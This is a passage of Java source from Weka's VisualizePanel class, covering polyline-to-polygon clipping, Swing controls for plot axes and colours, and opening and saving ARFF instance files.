(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 1)).
doubleValue())),
m_newMousePos.width, m_newMousePos.height);
gx.setPaintMode();
}
}
}
/**
* This is called for polylines to see where there two lines that
* extend to infinity cut the border of the view.
* @param x1 an x point along the line
* @param y1 the accompanying y point.
* @param x2 The x coord of the end point of the line.
* @param y2 The y coord of the end point of the line.
* @param x 0 or the width of the border line if it has one.
* @param y 0 or the height of the border line if it has one.
* @param offset The offset for the border line (either for x or y
* dependant on which one doesn't change).
* @return double array that contains the coordinate for the point
* that the polyline cuts the border (which ever side that may be).
*/
private double[] lineIntersect(double x1, double y1, double x2, double y2,
double x, double y, double offset) {
//the first 4 params are thestart and end points of a line
//the next param is either 0 for no change in x or change in x,
//the next param is the same for y
//the final 1 is the offset for either x or y (which ever has no change)
double xval;
double yval;
double xn = -100, yn = -100;
double change;
if (x == 0) {
if ((x1 <= offset && offset < x2) || (x1 >= offset && offset > x2)) {
//then continue
xval = x1 - x2;
change = (offset - x2) / xval;
yn = (y1 - y2) * change + y2;
if (0 <= yn && yn <= y) {
//then good
xn = offset;
}
else {
//no intersect
xn = -100;
}
}
}
else if (y == 0) {
if ((y1 <= offset && offset < y2) || (y1 >= offset && offset > y2)) {
//the continue
yval = (y1 - y2);
change = (offset - y2) / yval;
xn = (x1 - x2) * change + x2;
if (0 <= xn && xn <= x) {
//then good
yn = offset;
}
else {
xn = -100;
}
}
}
double[] ret = new double[2];
ret[0] = xn;
ret[1] = yn;
return ret;
}
/**
* This will convert a polyline to a polygon for drawing purposes
* So that I can simply use the polygon drawing function.
* @param v The polyline to convert.
* @return A FastVector containing the polygon.
*/
private FastVector makePolygon(FastVector v) {
FastVector building = new FastVector(v.size() + 10);
double x1, y1, x2, y2;
int edge1 = 0, edge2 = 0;
for (int noa = 0; noa < v.size() - 2; noa++) {
building.addElement(new Double(((Double)v.elementAt(noa)).
doubleValue()));
}
//now clip the lines
double[] new_coords;
//note lineIntersect , expects the values to have been converted to
//screen coords
//note the first point passed is the one that gets shifted.
x1 = m_plot2D.convertToPanelX(((Double)v.elementAt(1)).doubleValue());
y1 = m_plot2D.convertToPanelY(((Double)v.elementAt(2)).doubleValue());
x2 = m_plot2D.convertToPanelX(((Double)v.elementAt(3)).doubleValue());
y2 = m_plot2D.convertToPanelY(((Double)v.elementAt(4)).doubleValue());
if (x1 < 0) {
//test left
new_coords = lineIntersect(x1, y1, x2, y2, 0, this.getHeight(), 0);
edge1 = 0;
if (new_coords[0] < 0) {
//then not left
if (y1 < 0) {
//test top
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0, 0);
edge1 = 1;
}
else {
//test bottom
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0,
this.getHeight());
edge1 = 3;
}
}
}
else if (x1 > this.getWidth()) {
//test right
new_coords = lineIntersect(x1, y1, x2, y2, 0, this.getHeight(),
this.getWidth());
edge1 = 2;
if (new_coords[0] < 0) {
//then not right
if (y1 < 0) {
//test top
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0, 0);
edge1 = 1;
}
else {
//test bottom
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0,
this.getHeight());
edge1 = 3;
}
}
}
else if (y1 < 0) {
//test top
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0, 0);
edge1 = 1;
}
else {
//test bottom
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0,
this.getHeight());
edge1 = 3;
}
building.setElementAt(new
Double(m_plot2D.convertToAttribX(new_coords[0])), 1);
building.setElementAt(new
Double(m_plot2D.convertToAttribY(new_coords[1])), 2);
x1 = m_plot2D.convertToPanelX(((Double)v.elementAt(v.size() - 4)).
doubleValue());
y1 = m_plot2D.convertToPanelY(((Double)v.elementAt(v.size() - 3)).
doubleValue());
x2 = m_plot2D.convertToPanelX(((Double)v.elementAt(v.size() - 6)).
doubleValue());
y2 = m_plot2D.convertToPanelY(((Double)v.elementAt(v.size() - 5)).
doubleValue());
if (x1 < 0) {
//test left
new_coords = lineIntersect(x1, y1, x2, y2, 0, this.getHeight(), 0);
edge2 = 0;
if (new_coords[0] < 0) {
//then not left
if (y1 < 0) {
//test top
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0, 0);
edge2 = 1;
}
else {
//test bottom
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0,
this.getHeight());
edge2 = 3;
}
}
}
else if (x1 > this.getWidth()) {
//test right
new_coords = lineIntersect(x1, y1, x2, y2, 0, this.getHeight(),
this.getWidth());
edge2 = 2;
if (new_coords[0] < 0) {
//then not right
if (y1 < 0) {
//test top
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0, 0);
edge2 = 1;
}
else {
//test bottom
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0,
this.getHeight());
edge2 = 3;
}
}
}
else if (y1 < 0) {
//test top
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0, 0);
edge2 = 1;
}
else {
//test bottom
new_coords = lineIntersect(x1, y1, x2, y2, this.getWidth(), 0,
this.getHeight());
edge2 = 3;
}
building.setElementAt(new
Double(m_plot2D.convertToAttribX(new_coords[0])), building.size() - 2);
building.setElementAt(new
Double(m_plot2D.convertToAttribY(new_coords[1])), building.size() - 1);
//trust me this complicated piece of code will
//determine what points on the boundary of the view to add to the polygon
int xp, yp;
xp = this.getWidth() * ((edge2 & 1) ^ ((edge2 & 2) / 2));
yp = this.getHeight() * ((edge2 & 2) / 2);
//System.out.println(((-1 + 4) % 4) + " hoi");
if (inPolyline(v, m_plot2D.convertToAttribX(xp),
m_plot2D.convertToAttribY(yp))) {
//then add points in a clockwise direction
building.addElement(new Double(m_plot2D.convertToAttribX(xp)));
building.addElement(new Double(m_plot2D.convertToAttribY(yp)));
for (int noa = (edge2 + 1) % 4; noa != edge1; noa = (noa + 1) % 4) {
xp = this.getWidth() * ((noa & 1) ^ ((noa & 2) / 2));
yp = this.getHeight() * ((noa & 2) / 2);
building.addElement(new Double(m_plot2D.convertToAttribX(xp)));
building.addElement(new Double(m_plot2D.convertToAttribY(yp)));
}
}
else {
xp = this.getWidth() * ((edge2 & 2) / 2);
yp = this.getHeight() * (1 & ~((edge2 & 1) ^ ((edge2 & 2) / 2)));
if (inPolyline(v, m_plot2D.convertToAttribX(xp),
m_plot2D.convertToAttribY(yp))) {
//then add points in anticlockwise direction
building.addElement(new Double(m_plot2D.convertToAttribX(xp)));
building.addElement(new Double(m_plot2D.convertToAttribY(yp)));
for (int noa = (edge2 + 3) % 4; noa != edge1; noa = (noa + 3) % 4) {
xp = this.getWidth() * ((noa & 2) / 2);
yp = this.getHeight() * (1 & ~((noa & 1) ^ ((noa & 2) / 2)));
building.addElement(new Double(m_plot2D.convertToAttribX(xp)));
building.addElement(new Double(m_plot2D.convertToAttribY(yp)));
}
}
}
return building;
}
/**
* This will extract from a polygon shape its x coodrdinates
* so that an awt.Polygon can be created.
* @param v The polygon shape.
* @return an int array containing the screen x coords for the polygon.
*/
private int[] getXCoords(FastVector v) {
int cach = (v.size() - 1) / 2;
int[] ar = new int[cach];
for (int noa = 0; noa < cach; noa ++) {
ar[noa] = (int)m_plot2D.convertToPanelX(((Double)v.elementAt(noa * 2 +
1)).doubleValue());
}
return ar;
}
/**
* This will extract from a polygon shape its y coordinates
* so that an awt.Polygon can be created.
* @param v The polygon shape.
* @return an int array containing the screen y coords for the polygon.
*/
private int[] getYCoords(FastVector v) {
int cach = (v.size() - 1) / 2;
int[] ar = new int[cach];
for (int noa = 0; noa < cach; noa ++) {
ar[noa] = (int)m_plot2D.
convertToPanelY(((Double)v.elementAt(noa * 2 + 2)).
doubleValue());
}
return ar;
}
/**
* Renders the polygons if necessary
* @param gx the graphics context
*/
public void prePlot(Graphics gx) {
super.paintComponent(gx);
if (m_plotInstances != null) {
drawShapes(gx); // will be in paintComponent of ShapePlot2D
}
}
}
/** default colours for colouring discrete class */
protected Color [] m_DefaultColors = {Color.blue,
Color.red,
Color.green,
Color.cyan,
Color.pink,
new Color(255, 0, 255),
Color.orange,
new Color(255, 0, 0),
new Color(0, 255, 0),
Color.white};
/** Lets the user select the attribute for the x axis */
protected JComboBox m_XCombo = new JComboBox();
/** Lets the user select the attribute for the y axis */
protected JComboBox m_YCombo = new JComboBox();
/** Lets the user select the attribute to use for colouring */
protected JComboBox m_ColourCombo = new JComboBox();
/** Lets the user select the shape they want to create for instance
* selection. */
protected JComboBox m_ShapeCombo = new JComboBox();
/** Button for the user to enter the splits. */
protected JButton m_submit = new JButton("Submit");
/** Button for the user to remove all splits. */
protected JButton m_cancel = new JButton("Clear");
/** Button for the user to open the visualized set of instances */
protected JButton m_openBut = new JButton("Open");
/** Button for the user to save the visualized set of instances */
protected JButton m_saveBut = new JButton("Save");
/** Stop the combos from growing out of control */
private Dimension COMBO_SIZE = new Dimension(250, m_saveBut
.getPreferredSize().height);
/** file chooser for saving instances */
protected JFileChooser m_FileChooser
= new JFileChooser(new File(System.getProperty("user.dir")));
/** Filter to ensure only arff files are selected */
protected FileFilter m_ArffFilter =
new ExtensionFileFilter(Instances.FILE_EXTENSION, "Arff data files");
/** Label for the jitter slider */
protected JLabel m_JitterLab= new JLabel("Jitter",SwingConstants.RIGHT);
/** The jitter slider */
protected JSlider m_Jitter = new JSlider(0,50,0);
/** The panel that displays the plot */
protected PlotPanel m_plot = new PlotPanel();
/** The panel that displays the attributes , using color to represent
* another attribute. */
protected AttributePanel m_attrib =
new AttributePanel(m_plot.m_plot2D.getBackground());
/** The panel that displays legend info if there is more than one plot */
protected LegendPanel m_legendPanel = new LegendPanel();
/** Panel that surrounds the plot panel with a titled border */
protected JPanel m_plotSurround = new JPanel();
/** Panel that surrounds the class panel with a titled border */
protected JPanel m_classSurround = new JPanel();
/** An optional listener that we will inform when ComboBox selections
change */
protected ActionListener listener = null;
/** An optional listener that we will inform when the user creates a
* split to seperate instances. */
protected VisualizePanelListener m_splitListener = null;
/** The name of the plot (not currently displayed, but can be used
in the containing Frame or Panel) */
protected String m_plotName = "";
/** The panel that displays the legend for the colouring attribute */
protected ClassPanel m_classPanel =
new ClassPanel(m_plot.m_plot2D.getBackground());
/** The list of the colors used */
protected FastVector m_colorList;
/** These hold the names of preferred columns to visualize on---if the
user has defined them in the Visualize.props file */
protected String m_preferredXDimension = null;
protected String m_preferredYDimension = null;
protected String m_preferredColourDimension = null;
/** Show the attribute bar panel */
protected boolean m_showAttBars = true;
/** Show the class panel **/
protected boolean m_showClassPanel = true;
/** the logger */
protected Logger m_Log;
/**
* Sets the Logger to receive informational messages
*
* @param newLog the Logger that will now get info messages
*/
public void setLog(Logger newLog) {
m_Log = newLog;
}
/**
* Set whether the attribute bars should be shown or not.
* If turned off via this method then any setting in the
* properties file (if exists) is ignored.
*
* @param sab false if attribute bars are not to be displayed.
*/
public void setShowAttBars(boolean sab) {
if (!sab && m_showAttBars) {
m_plotSurround.remove(m_attrib);
} else if (sab && !m_showAttBars) {
GridBagConstraints constraints = new GridBagConstraints();
constraints.insets = new Insets(0, 0, 0, 0);
constraints.gridx=4;constraints.gridy=0;constraints.weightx=1;
constraints.gridwidth=1;constraints.gridheight=1;constraints.weighty=5;
m_plotSurround.add(m_attrib, constraints);
}
m_showAttBars = sab;
repaint();
}
/**
* Gets whether or not attribute bars are being displayed.
*
* @return true if attribute bars are being displayed.
*/
public boolean getShowAttBars() {
return m_showAttBars;
}
/**
* Set whether the class panel should be shown or not.
*
* @param scp false if class panel is not to be displayed
*/
public void setShowClassPanel(boolean scp) {
if (!scp && m_showClassPanel) {
remove(m_classSurround);
} else if (scp && !m_showClassPanel) {
add(m_classSurround, BorderLayout.SOUTH);
}
m_showClassPanel = scp;
repaint();
}
/**
* Gets whether or not the class panel is being displayed.
*
* @return true if the class panel is being displayed.
*/
public boolean getShowClassPanel() {
return m_showClassPanel;
}
/**
* This constructor allows a VisualizePanelListener to be set.
*
* @param ls the listener to use
*/
public VisualizePanel(VisualizePanelListener ls) {
this();
m_splitListener = ls;
}
/**
* Set the properties for the VisualizePanel
*
* @param relationName the name of the relation, can be null
*/
private void setProperties(String relationName) {
if (VisualizeUtils.VISUALIZE_PROPERTIES != null) {
String thisClass = this.getClass().getName();
if (relationName == null) {
String showAttBars = thisClass+".displayAttributeBars";
String val = VisualizeUtils.VISUALIZE_PROPERTIES.
getProperty(showAttBars);
if (val == null) {
//System.err.println("Displaying attribute bars ");
// m_showAttBars = true;
} else {
// only check if this hasn't been turned off programatically
if (m_showAttBars) {
if (val.compareTo("true") == 0 || val.compareTo("on") == 0) {
//System.err.println("Displaying attribute bars ");
m_showAttBars = true;
} else {
m_showAttBars = false;
}
}
}
} else {
/*
System.err.println("Looking for preferred visualization dimensions for "
+relationName);
*/
String xcolKey = thisClass+"."+relationName+".XDimension";
String ycolKey = thisClass+"."+relationName+".YDimension";
String ccolKey = thisClass+"."+relationName+".ColourDimension";
m_preferredXDimension = VisualizeUtils.VISUALIZE_PROPERTIES.
getProperty(xcolKey);
/*
if (m_preferredXDimension == null) {
System.err.println("No preferred X dimension found in "
+VisualizeUtils.PROPERTY_FILE
+" for "+xcolKey);
} else {
System.err.println("Setting preferred X dimension to "
+m_preferredXDimension);
}*/
m_preferredYDimension = VisualizeUtils.VISUALIZE_PROPERTIES.
getProperty(ycolKey);
/*
if (m_preferredYDimension == null) {
System.err.println("No preferred Y dimension found in "
+VisualizeUtils.PROPERTY_FILE
+" for "+ycolKey);
} else {
System.err.println("Setting preferred dimension Y to "
+m_preferredYDimension);
}*/
m_preferredColourDimension = VisualizeUtils.VISUALIZE_PROPERTIES.
getProperty(ccolKey);
/*
if (m_preferredColourDimension == null) {
System.err.println("No preferred Colour dimension found in "
+VisualizeUtils.PROPERTY_FILE
+" for "+ycolKey);
} else {
System.err.println("Setting preferred Colour dimension to "
+m_preferredColourDimension);
}*/
}
}
}
/**
* Constructor
*/
public VisualizePanel() {
super();
setProperties(null);
m_FileChooser.setFileFilter(m_ArffFilter);
m_FileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
m_XCombo.setToolTipText("Select the attribute for the x axis");
m_YCombo.setToolTipText("Select the attribute for the y axis");
m_ColourCombo.setToolTipText("Select the attribute to colour on");
m_ShapeCombo.setToolTipText("Select the shape to use for data selection");
m_XCombo.setPreferredSize(COMBO_SIZE);
m_YCombo.setPreferredSize(COMBO_SIZE);
m_ColourCombo.setPreferredSize(COMBO_SIZE);
m_ShapeCombo.setPreferredSize(COMBO_SIZE);
m_XCombo.setMaximumSize(COMBO_SIZE);
m_YCombo.setMaximumSize(COMBO_SIZE);
m_ColourCombo.setMaximumSize(COMBO_SIZE);
m_ShapeCombo.setMaximumSize(COMBO_SIZE);
m_XCombo.setMinimumSize(COMBO_SIZE);
m_YCombo.setMinimumSize(COMBO_SIZE);
m_ColourCombo.setMinimumSize(COMBO_SIZE);
m_ShapeCombo.setMinimumSize(COMBO_SIZE);
//////////
m_XCombo.setEnabled(false);
m_YCombo.setEnabled(false);
m_ColourCombo.setEnabled(false);
m_ShapeCombo.setEnabled(false);
// tell the class panel and the legend panel that we want to know when
// colours change
m_classPanel.addRepaintNotify(this);
m_legendPanel.addRepaintNotify(this);
// Check the default colours against the background colour of the
// plot panel. If any are equal to the background colour then
// change them (so they are visible :-)
for (int i = 0; i < m_DefaultColors.length; i++) {
Color c = m_DefaultColors[i];
if (c.equals(m_plot.m_plot2D.getBackground())) {
int red = c.getRed();
int blue = c.getBlue();
int green = c.getGreen();
red += (red < 128) ? (255 - red) / 2 : -(red / 2);
blue += (blue < 128) ? (blue - red) / 2 : -(blue / 2);
green += (green< 128) ? (255 - green) / 2 : -(green / 2);
m_DefaultColors[i] = new Color(red, green, blue);
}
}
m_classPanel.setDefaultColourList(m_DefaultColors);
m_attrib.setDefaultColourList(m_DefaultColors);
m_colorList = new FastVector(10);
for (int noa = m_colorList.size(); noa < 10; noa++) {
Color pc = m_DefaultColors[noa % 10];
int ija = noa / 10;
ija *= 2;
for (int j=0;j<ija;j++) {
pc = pc.darker();
}
m_colorList.addElement(pc);
}
m_plot.setColours(m_colorList);
m_classPanel.setColours(m_colorList);
m_attrib.setColours(m_colorList);
m_attrib.addAttributePanelListener(new AttributePanelListener() {
public void attributeSelectionChange(AttributePanelEvent e) {
if (e.m_xChange) {
m_XCombo.setSelectedIndex(e.m_indexVal);
} else {
m_YCombo.setSelectedIndex(e.m_indexVal);
}
}
});
m_XCombo.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int selected = m_XCombo.getSelectedIndex();
if (selected < 0) {
selected = 0;
}
m_plot.setXindex(selected);
// try sending on the event if anyone is listening
if (listener != null) {
listener.actionPerformed(e);
}
}
});
m_YCombo.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int selected = m_YCombo.getSelectedIndex();
if (selected < 0) {
selected = 0;
}
m_plot.setYindex(selected);
// try sending on the event if anyone is listening
if (listener != null) {
listener.actionPerformed(e);
}
}
});
m_ColourCombo.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int selected = m_ColourCombo.getSelectedIndex();
if (selected < 0) {
selected = 0;
}
m_plot.setCindex(selected);
if (listener != null) {
listener.actionPerformed(e);
}
}
});
///////
m_ShapeCombo.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int selected = m_ShapeCombo.getSelectedIndex();
if (selected < 0) {
selected = 0;
}
m_plot.setSindex(selected);
// try sending on the event if anyone is listening
if (listener != null) {
listener.actionPerformed(e);
}
}
});
///////////////////////////////////////
m_Jitter.addChangeListener(new ChangeListener() {
public void stateChanged(ChangeEvent e) {
m_plot.setJitter(m_Jitter.getValue());
}
});
m_openBut.setToolTipText("Loads previously saved instances from a file");
m_openBut.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
openVisibleInstances();
}
});
m_saveBut.setEnabled(false);
m_saveBut.setToolTipText("Save the visible instances to a file");
m_saveBut.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
saveVisibleInstances();
}
});
JPanel combos = new JPanel();
GridBagLayout gb = new GridBagLayout();
GridBagConstraints constraints = new GridBagConstraints();
m_XCombo.setLightWeightPopupEnabled(false);
m_YCombo.setLightWeightPopupEnabled(false);
m_ColourCombo.setLightWeightPopupEnabled(false);
m_ShapeCombo.setLightWeightPopupEnabled(false);
combos.setBorder(BorderFactory.createEmptyBorder(10, 5, 10, 5));
combos.setLayout(gb);
constraints.gridx=0;constraints.gridy=0;constraints.weightx=5;
constraints.fill = GridBagConstraints.HORIZONTAL;
constraints.gridwidth=2;constraints.gridheight=1;
constraints.insets = new Insets(0,2,0,2);
combos.add(m_XCombo,constraints);
constraints.gridx=2;constraints.gridy=0;constraints.weightx=5;
constraints.gridwidth=2;constraints.gridheight=1;
combos.add(m_YCombo,constraints);
constraints.gridx=0;constraints.gridy=1;constraints.weightx=5;
constraints.gridwidth=2;constraints.gridheight=1;
combos.add(m_ColourCombo,constraints);
//
constraints.gridx=2;constraints.gridy=1;constraints.weightx=5;
constraints.gridwidth=2;constraints.gridheight=1;
combos.add(m_ShapeCombo,constraints);
JPanel mbts = new JPanel();
mbts.setLayout(new GridLayout(1,4));
mbts.add(m_submit); mbts.add(m_cancel); mbts.add(m_openBut); mbts.add(m_saveBut);
constraints.gridx=0;constraints.gridy=2;constraints.weightx=5;
constraints.gridwidth=2;constraints.gridheight=1;
combos.add(mbts, constraints);
////////////////////////////////
constraints.gridx=2;constraints.gridy=2;constraints.weightx=5;
constraints.gridwidth=1;constraints.gridheight=1;
constraints.insets = new Insets(10,0,0,5);
combos.add(m_JitterLab,constraints);
constraints.gridx=3;constraints.gridy=2;
constraints.weightx=5;
constraints.insets = new Insets(10,0,0,0);
combos.add(m_Jitter,constraints);
m_classSurround = new JPanel();
m_classSurround.
setBorder(BorderFactory.createTitledBorder("Class colour"));
m_classSurround.setLayout(new BorderLayout());
m_classPanel.setBorder(BorderFactory.createEmptyBorder(15,10,10,10));
m_classSurround.add(m_classPanel, BorderLayout.CENTER);
GridBagLayout gb2 = new GridBagLayout();
m_plotSurround.setBorder(BorderFactory.createTitledBorder("Plot"));
m_plotSurround.setLayout(gb2);
constraints.fill = GridBagConstraints.BOTH;
constraints.insets = new Insets(0, 0, 0, 10);
constraints.gridx=0;constraints.gridy=0;constraints.weightx=3;
constraints.gridwidth=4;constraints.gridheight=1;constraints.weighty=5;
m_plotSurround.add(m_plot, constraints);
if (m_showAttBars) {
constraints.insets = new Insets(0, 0, 0, 0);
constraints.gridx=4;constraints.gridy=0;constraints.weightx=1;
constraints.gridwidth=1;constraints.gridheight=1;constraints.weighty=5;
m_plotSurround.add(m_attrib, constraints);
}
setLayout(new BorderLayout());
add(combos, BorderLayout.NORTH);
add(m_plotSurround, BorderLayout.CENTER);
add(m_classSurround, BorderLayout.SOUTH);
String [] SNames = new String [4];
SNames[0] = "Select Instance";
SNames[1] = "Rectangle";
SNames[2] = "Polygon";
SNames[3] = "Polyline";
m_ShapeCombo.setModel(new DefaultComboBoxModel(SNames));
m_ShapeCombo.setEnabled(true);
}
/**
* displays the previously saved instances
*
* @param insts the instances to display
* @throws Exception if display is not possible
*/
protected void openVisibleInstances(Instances insts) throws Exception {
PlotData2D tempd = new PlotData2D(insts);
tempd.setPlotName(insts.relationName());
tempd.addInstanceNumberAttribute();
m_plot.m_plot2D.removeAllPlots();
addPlot(tempd);
// modify title
Component parent = getParent();
while (parent != null) {
if (parent instanceof JFrame) {
((JFrame) parent).setTitle(
"Weka Classifier Visualize: "
+ insts.relationName()
+ " (display only)");
break;
}
else {
parent = parent.getParent();
}
}
}
/**
* Loads previously saved instances from a file
*/
protected void openVisibleInstances() {
try {
int returnVal = m_FileChooser.showOpenDialog(this);
if (returnVal == JFileChooser.APPROVE_OPTION) {
File sFile = m_FileChooser.getSelectedFile();
if (!sFile.getName().toLowerCase().
endsWith(Instances.FILE_EXTENSION)) {
sFile = new File(sFile.getParent(), sFile.getName() + Instances.FILE_EXTENSION);
}
File selected = sFile;
Instances insts = new Instances(new BufferedReader(new FileReader(selected)));
openVisibleInstances(insts);
}
} catch (Exception ex) {
ex.printStackTrace();
m_plot.m_plot2D.removeAllPlots();
JOptionPane.showMessageDialog(
this,
ex.getMessage(),
"Error loading file...",
JOptionPane.ERROR_MESSAGE);
}
}
/**
* Save the currently visible set of instances to a file
*/
private void saveVisibleInstances() {
FastVector plots = m_plot.m_plot2D.getPlots();
if (plots != null) {
PlotData2D master = (PlotData2D)plots.elementAt(0);
Instances saveInsts = new Instances(master.getPlotInstances());
for (int i = 1; i < plots.size(); i++) {
PlotData2D temp = (PlotData2D)plots.elementAt(i);
Instances addInsts = temp.getPlotInstances();
for (int j = 0; j < addInsts.numInstances(); j++) {
saveInsts.add(addInsts.instance(j));
}
}
try {
int returnVal = m_FileChooser.showSaveDialog(this);
if (returnVal == JFileChooser.APPROVE_OPTION) {
File sFile = m_FileChooser.getSelectedFile();
if (!sFile.getName().toLowerCase().
endsWith(Instances.FILE_EXTENSION)) {
sFile = new File(sFile.getParent(), sFile.getName()
+ Instances.FILE_EXTENSION);
}
File selected = sFile;
Writer w = new BufferedWriter(new FileWriter(selected));
w.write(saveInsts.toString());
w.close();
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
/**
* Sets the index used for colouring. If this method is called then
* the supplied index is used and the combo box for selecting colouring
* attribute is disabled.
* @param index the index of the attribute to use for colouring
*/
public void setColourIndex(int index) {
if (index >= 0) {
m_ColourCombo.setSelectedIndex(index);
} else {
m_ColourCombo.setSelectedIndex(0);
}
m_ColourCombo.setEnabled(false);
}
/**
* Set the index of the attribute for the x axis
* @param index the index for the x axis
* @exception Exception if index is out of range.
*/
public void setXIndex(int index) throws Exception {
if (index >= 0 && index < m_XCombo.getItemCount()) {
m_XCombo.setSelectedIndex(index);
} else {
throw new Exception("x index is out of range!");
}
}
/**
* Get the index of the attribute on the x axis
* @return the index of the attribute on the x axis
*/
public int getXIndex() {
return m_XCombo.getSelectedIndex();
}
/**
* Set the index of the attribute for the y axis
* @param index the index for the y axis
* @exception Exception if index is out of range.
*/
public void setYIndex(int index) throws Exception {
if (index >= 0 && index < m_YCombo.getItemCount()) {
m_YCombo.setSelectedIndex(index);
} else {
throw new Exception("y index is out of range!");
}
}
/**
* Get the index of the attribute on the y axis
* @return the index of the attribute on the x axis
*/
public int getYIndex() {
return m_YCombo.getSelectedIndex();
}
/**
* Get the index of the attribute selected for coloring
* @return the index of the attribute on the x axis
*/
public int getCIndex() {
return m_ColourCombo.getSelectedIndex();
}
/**
* Get the index of the shape selected for creating splits.
* @return The index of the shape.
*/
public int getSIndex() {
return m_ShapeCombo.getSelectedIndex();
}
/**
* Set the shape for creating splits.
* @param index The index of the shape.
* @exception Exception if index is out of range.
*/
public void setSIndex(int index) throws Exception {
if (index >= 0 && index < m_ShapeCombo.getItemCount()) {
m_ShapeCombo.setSelectedIndex(index);
}
else {
throw new Exception("s index is out of range!");
}
}
/**
* Add a listener for this visualize panel
* @param act an ActionListener
*/
public void addActionListener(ActionListener act) {
listener = act;
}
/**
* Set a name for this plot
* @param plotName the name for the plot
*/
public void setName(String plotName) {
m_plotName = plotName;
}
/**
* Returns the name associated with this plot. "" is returned if no
* name is set.
* @return the name of the plot
*/
public String getName() {
return m_plotName;
}
/**
* Get the master plot's instances
* @return the master plot's instances
*/
public Instances getInstances() {
return m_plot.m_plotInstances;
}
/**
* Sets the Colors in use for a different attrib
* if it is not a nominal attrib and or does not have
* more possible values then this will do nothing.
* otherwise it will add default colors to see that
* there is a color for the attrib to begin with.
* @param a The index of the attribute to color.
* @param i The instances object that contains the attribute.
*/
protected void newColorAttribute(int a, Instances i) {
if (i.attribute(a).isNominal()) {
for (int noa = m_colorList.size(); noa < i.attribute(a).numValues();
noa++) {
Color pc = m_DefaultColors[noa % 10];
int ija = noa / 10;
ija *= 2;
for (int j=0;j<ija;j++) {
pc = pc.brighter();
}
m_colorList.addElement(pc);
}
m_plot.setColours(m_colorList);
m_attrib.setColours(m_colorList);
m_classPanel.setColours(m_colorList);
}
}
/**
* This will set the shapes for the instances.
* @param l A list of the shapes, providing that
* the objects in the lists are non editable the data will be
* kept intact.
*/
public void setShapes(FastVector l) {
m_plot.setShapes(l);
}
/**
* Tells the panel to use a new set of instances.
* @param inst a set of Instances
*/
public void setInstances(Instances inst) {
if (inst.numAttributes() > 0 && inst.numInstances() > 0) {
newColorAttribute(inst.numAttributes()-1, inst);
}
PlotData2D temp = new PlotData2D(inst);
temp.setPlotName(inst.relationName());
try {
setMasterPlot(temp);
} catch (Exception ex) {
System.err.println(ex);
ex.printStackTrace();
}
}
/**
* initializes the comboboxes based on the data
*
* @param inst the data to base the combobox-setup on
*/
public void setUpComboBoxes(Instances inst) {
setProperties(inst.relationName());
int prefX = -1;
int prefY = -1;
if (inst.numAttributes() > 1) {
prefY = 1;
}
int prefC = -1;
String [] XNames = new String [inst.numAttributes()];
String [] YNames = new String [inst.numAttributes()];
String [] CNames = new String [inst.numAttributes()];
for (int i = 0; i < XNames.length; i++) {
String type = " (" + Attribute.typeToStringShort(inst.attribute(i)) + ")";
XNames[i] = "X: "+ inst.attribute(i).name()+type;
YNames[i] = "Y: "+ inst.attribute(i).name()+type;
CNames[i] = "Colour: "+ inst.attribute(i).name()+type;
if (m_preferredXDimension != null) {
if (m_preferredXDimension.compareTo(inst.attribute(i).name()) == 0) {
prefX = i;
//System.err.println("Found preferred X dimension");
}
}
if (m_preferredYDimension != null) {
if (m_preferredYDimension.compareTo(inst.attribute(i).name()) == 0) {
prefY = i;
//System.err.println("Found preferred Y dimension");
}
}
if (m_preferredColourDimension != null) {
if (m_preferredColourDimension.
compareTo(inst.attribute(i).name()) == 0) {
prefC = i;
//System.err.println("Found preferred Colour dimension");
}
}
}
m_XCombo.setModel(new DefaultComboBoxModel(XNames));
m_YCombo.setModel(new DefaultComboBoxModel(YNames));
m_ColourCombo.setModel(new DefaultComboBoxModel(CNames));
//m_ShapeCombo.setModel(new DefaultComboBoxModel(SNames));
//m_ShapeCombo.setEnabled(true);
m_XCombo.setEnabled(true);
m_YCombo.setEnabled(true);
if (m_splitListener == null) {
m_ColourCombo.setEnabled(true);
m_ColourCombo.setSelectedIndex(inst.numAttributes()-1);
}
m_plotSurround.setBorder((BorderFactory.createTitledBorder("Plot: "
+inst.relationName())));
try {
if (prefX != -1) {
setXIndex(prefX);
}
if (prefY != -1) {
setYIndex(prefY);
}
if (prefC != -1) {
m_ColourCombo.setSelectedIndex(prefC);
}
} catch (Exception ex) {
System.err.println("Problem setting preferred Visualization dimensions");
}
}
/**
* Removes all the plots.
*/
public void removeAllPlots() {
m_plot.removeAllPlots();
}
/**
* Set the master plot for the visualize panel
* @param newPlot the new master plot
* @exception Exception if the master plot could not be set
*/
public void setMasterPlot(PlotData2D newPlot) throws Exception {
m_plot.setMasterPlot(newPlot);
setUpComboBoxes(newPlot.m_plotInstances);
m_saveBut.setEnabled(true);
repaint();
}
/**
* Set a new plot to the visualize panel
* @param newPlot the new plot to add
* @exception Exception if the plot could not be added
*/
public void addPlot(PlotData2D newPlot) throws Exception {
m_plot.addPlot(newPlot);
if (m_plot.m_plot2D.getMasterPlot() != null) {
setUpComboBoxes(newPlot.m_plotInstances);
}
m_saveBut.setEnabled(true);
repaint();
}
/**
* Returns the underlying plot panel.
*
* @return the plot panel
*/
public PlotPanel getPlotPanel() {
return m_plot;
}
/**
* Main method for testing this class
*
* @param args the commandline parameters
*/
public static void main(String [] args) {
try {
if (args.length < 1) {
System.err.println("Usage : weka.gui.visualize.VisualizePanel "
